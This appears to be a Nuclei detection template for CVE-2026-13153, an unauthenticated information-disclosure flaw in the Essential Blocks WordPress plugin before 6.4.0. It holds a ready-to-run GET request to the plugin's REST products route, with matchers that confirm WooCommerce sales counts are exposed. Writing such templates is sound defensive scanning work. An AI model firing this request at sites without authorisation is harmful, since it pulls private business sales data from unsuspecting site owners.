id: CVE-2026-13153 info: name: Essential Blocks < 6.4.0 - Information Disclosure author: str4k3r severity: medium description: | Gutenberg Essential Blocks WordPress plugin < 6.4.0 contains an information disclosure caused by unrestricted access to a public REST route exposing non-public WooCommerce sales metrics, letting unauthenticated users read product sales data. impact: | Unauthenticated users can access sensitive sales metrics, potentially exposing business-sensitive information. remediation: | Update to version 6.4.0 or later. reference: - https://wpscan.com/vulnerability/0401a229-9630-49ab-ae4b-53360cf5d109/ - https://nvd.nist.gov/vuln/detail/CVE-2026-13153 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-13153 epss-score: 0.01524 epss-percentile: 0.74486 cwe-id: CWE-200 metadata: verified: true max-request: 1 tags: cve,cve2026,wordpress,wp-plugin,essential-blocks,woocommerce,unauth http: - method: GET path: - "{{BaseURL}}/wp-json/essential-blocks/v1/products?per_page=20" matchers-condition: and matchers: - type: word part: body words: - '"sold_count":' - '"title"' condition: and - type: status status: - 200 # digest: 4b0a00483046022100dedac8fd898b34da16bd51d2286d00b4625e0eff6d8afdddf22d127f9f55412b022100b4f5ec82d8ebdd4fcbc2656f725673966e0c254d0791ad2a8e33dccba3dff6cb:922c64590222798bb761d5b6d8e72950